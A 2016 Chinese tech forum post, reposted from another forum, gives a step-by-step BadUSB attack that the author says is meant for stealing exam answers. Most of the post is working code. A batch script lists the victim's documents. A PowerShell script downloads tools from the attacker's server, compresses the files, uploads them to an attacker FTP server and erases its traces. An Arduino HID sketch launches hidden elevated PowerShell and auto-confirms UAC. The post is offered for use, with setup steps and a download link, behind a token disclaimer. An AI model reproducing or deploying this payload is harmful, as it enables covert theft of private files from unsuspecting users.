新技术论坛
搜索
查看: 996|回复: 0
打印 上一主题 下一主题

[技术交流] 如何用Badusb快速窃取资料

[复制链接]
  • TA的每日心情
    无聊
    2016-9-11 15:26
  • 签到天数: 107 天

    连续签到: 1 天

    [LV.6]常住居民II

    扫一扫,手机访问本帖
    楼主
    跳转到指定楼层
    发表于 2016-4-6 21:43:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
    转载自:【吾爱破解】
    演示视频:http://v.qq.com/page/t/6/1/t0191xfj861.html
    0×01 引言

    又到了期中考试了,我又要去偷答案了,一直发现远程下载运行exe的方式不太好,容易报毒所以这里打算用ps脚本。

    0×02 关于HID

    HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。



    0×03 准备工具

    一台外网主机(直接电脑接网线宽带拨号也可以)

    一个HID攻击工具(烧鹅或者Badusb)

    FTPserver(搭建一个FTP服务器用来接收窃取到的文件)

    PHPstudy(搭建http服务器用来存放ps脚本等)

    7z.exe / 7z.dll(存放到http服务器下,之后会利用它来进行压缩后在上传,尽量减小上传速度)



    0×04 代码部分(以下代码可能具有攻击性,请勿用于非法用途)

    1.[get.bat](获取需要的文件存放位置,并保存到c:\temp.bat)[该代码存放于服务器http根目录下]

    1. dir /s /a /b "%userprofile%\desktop\*.txt">c:\temp.bat
    2. dir /s /a /b "%userprofile%\desktop\*.doc">>c:\temp.bat
    3. dir /s /a /b "%userprofile%\desktop\*.docx">>c:\temp.bat
    4. dir /s /a /b "%userprofile%\desktop\*.xls">>c:\temp.bat
    5. dir /s /a /b "%userprofile%\desktop\*.xlsx">>c:\temp.bat
    6. dir /s /a /b "%userprofile%\desktop\*.ppt">>c:\temp.bat
    7. dir /s /a /b "%userprofile%\desktop\*.xls">>c:\temp.bat
    8. dir /s /a /b "%userprofile%\desktop\*.eet">>c:\temp.bat
    9. dir /s /a /b "%userprofile%\desktop\*.et">>c:\temp.bat
    10. dir /s /a /b "%userprofile%\desktop\*.xlt">>c:\temp.bat
    11. dir /s /a /b "%userprofile%\desktop\*.pdf">>c:\temp.bat
    12. dir /s /a /b "%userprofile%\desktop\*.jpg">>c:\temp.bat
    13. dir /s /a /b "%userprofile%\desktop\*.jpeg">>c:\temp.bat
    14. dir /s /a /b "%userprofile%\desktop\*.png">>c:\temp.bat
    15. dir /s /a /b "%userprofile%\desktop\*.bmp">>c:\temp.bat
    16. dir /s /a /b "%userprofile%\desktop\*.gif">>c:\temp.bat
    17. dir /s /a /b "%userprofile%\desktop\*.rtf">>c:\temp.bat
    18. dir /s /a /b "%userprofile%\desktop\*.htl">>c:\temp.bat
    19. dir /s /a /b "%userprofile%\Documents\Tencent Files\*.txt">>c:\temp.bat
    20. dir /s /a /b "%userprofile%\Documents\Tencent Files\*.doc">>c:\temp.bat
    21. dir /s /a /b "%userprofile%\Documents\Tencent Files\*.docx">>c:\temp.bat
    22. dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xls">>c:\temp.bat
    23. dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xlsx">>c:\temp.bat
    24. dir /s /a /b "%userprofile%\Documents\Tencent Files\*.ppt">>c:\temp.bat
    25. dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xls">>c:\temp.bat
    26. dir /s /a /b "%userprofile%\Documents\Tencent Files\*.eet">>c:\temp.bat
    27. dir /s /a /b "%userprofile%\Documents\Tencent Files\*.et">>c:\temp.bat
    28. dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xlt">>c:\temp.bat
    29. dir /s /a /b "%userprofile%\Documents\Tencent Files\*.pdf">>c:\temp.bat
    30. dir /s /a /b "%userprofile%\Documents\Tencent Files\*.jpg">>c:\temp.bat
    31. dir /s /a /b "%userprofile%\Documents\Tencent Files\*.jpeg">>c:\temp.bat
    32. dir /s /a /b "%userprofile%\Documents\Tencent Files\*.png">>c:\temp.bat
    33. dir /s /a /b "%userprofile%\Documents\Tencent Files\*.bmp">>c:\temp.bat
    34. dir /s /a /b "%userprofile%\Documents\Tencent Files\*.gif">>c:\temp.bat
    35. dir /s /a /b "%userprofile%\Documents\Tencent Files\*.rtf">>c:\temp.bat
    36. dir /s /a /b "%userprofile%\Documents\Tencent Files\*.htl">>c:\temp.bat
    复制代码


    2.[get.ps1](清除运行记录,下载服务器中的7z.dll / 7z.exe / get.bat到c盘到相应位置,处理c:\temp.bat为7z压缩为c:\Ram.7z,上传c:\Ram.7z到FTP服务器根目录下,删除所有下载的文件!!!一共需要改4处IP地址!!!)[该代码存放于服务器http根目录下记得设置FTP服务器密码为admin admin]

    1. reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f;
    2. (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/7z.dll','c:\7z.dll');
    3. (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/7z.exe','c:\7z.exe');
    4. (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/get.bat','c:\Users\Public\get.bat');
    5. C:\Users\Public\get.bat;$array="";foreach($u in(get-content c:\temp.bat)){[array]$array +='c:\7z a -t7z c:\Ram.7z "'+$u+'"'};$array | Out-File -Encoding default c:\temp.bat;c:\temp.bat;
    6. $fileinf=New-Object System.Io.FileInfo("C:\Ram.7z");
    7. $ftp = [System.Net.FtpWebRequest] [System.Net.FtpWebRequest]::Create("ftp://192.168.1.1/"+$fileinf.name)
    8. $ftp.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile
    9. $ftp.Credentials = new-object System.Net.NetworkCredential("admin","admin")
    10. $ftp.UseBinary = $true
    11. $ftp.UsePassive = $true
    12. $content = [System.IO.File]::ReadAllBytes($fileInf.fullname)
    13. $ftp.ContentLength = $content.Length
    14. $rs = $ftp.GetRequestStream()
    15. $rs.Write($content, 0, $content.Length)
    16. $rs.Close()
    17. $rs.Dispose()
    18. Remove-Item c:\temp.bat
    19. Remove-Item c:\Ram.*
    20. Remove-Item c:\7z.*
    21. Remove-Item c:\Users\Public\get.*
    复制代码
    3.[get.ino](以管理员权限下载get.ps1到本地c:\users\public目录!!!需要改1处IP地址!!!UAC闪过之后要记得拔出)[修改IP后直接刷入]

    1. void setup() {//初始化
    2.   Keyboard.begin();//开始键盘通讯
    3.   delay(5000);//延时
    4.   Keyboard.press(KEY_LEFT_GUI);//win键
    5.   delay(500);
    6.   Keyboard.press('r');//r键
    7.   delay(500);
    8.   Keyboard.release(KEY_LEFT_GUI);
    9.   Keyboard.release('r');
    10.   Keyboard.press(KEY_CAPS_LOCK);
    11.   Keyboard.release(KEY_CAPS_LOCK);
    12.   delay(500);
    13.   Keyboard.println("POWERSHELL -NOP");
    14.   delay(800);
    15.   Keyboard.println();
    16.   delay(800);
    17.   Keyboard.println("START-PROCESS -fILEpATH POWERSHELL \" -NOP -W HIDDEN -C SET-eXECUTIONpOLICY rEMOTEsIGNED -FORCE;CD $ENV:PUBLIC;(nEW-oBJECT sYSTEM.nET.wEBcLIENT).dOWNLOADfILE(\'HTTP://192.168.1.1/GET.PS1\',\'C:\\USERS\\PUBLIC\\GET.PS1\');./GET.PS1;EXIT\" -vERB RUNAS;EXIT");
    18.   Keyboard.press(KEY_CAPS_LOCK);
    19.   Keyboard.release(KEY_CAPS_LOCK);
    20.   Keyboard.end();//结束键盘通讯
    21. }
    22. void loop()//循环
    23. {
    24.   Keyboard.release(KEY_LEFT_ALT);
    25.   Keyboard.press(KEY_LEFT_ALT);
    26.   Keyboard.print('y');
    27.   Keyboard.release(KEY_LEFT_ALT);
    28.   Keyboard.release(KEY_LEFT_ALT);
    29.   Keyboard.release(KEY_LEFT_ALT);
    30.   Keyboard.release(KEY_LEFT_ALT);
    31.   delay(50);
    32. }
    复制代码
    打包下载:链接: http://pan.baidu.com/s/1hsQ2db2 密码: wikz



    高级模式
    B Color Image Link Quote Code Smilies

    本版积分规则

    手机版|Archiver|开发者俱乐部 ( ICP/ISP证:辽B-2-4-20110106号 IDC证:辽B-1-2-20070003号 )

    GMT+8, 2025-1-10 00:31 , Processed in 0.115395 second(s), 19 queries .

    X+ Open Developer Network (xodn.com)

    © 2009-2017 沈阳讯网网络科技有限公司

    快速回复 返回顶部 返回列表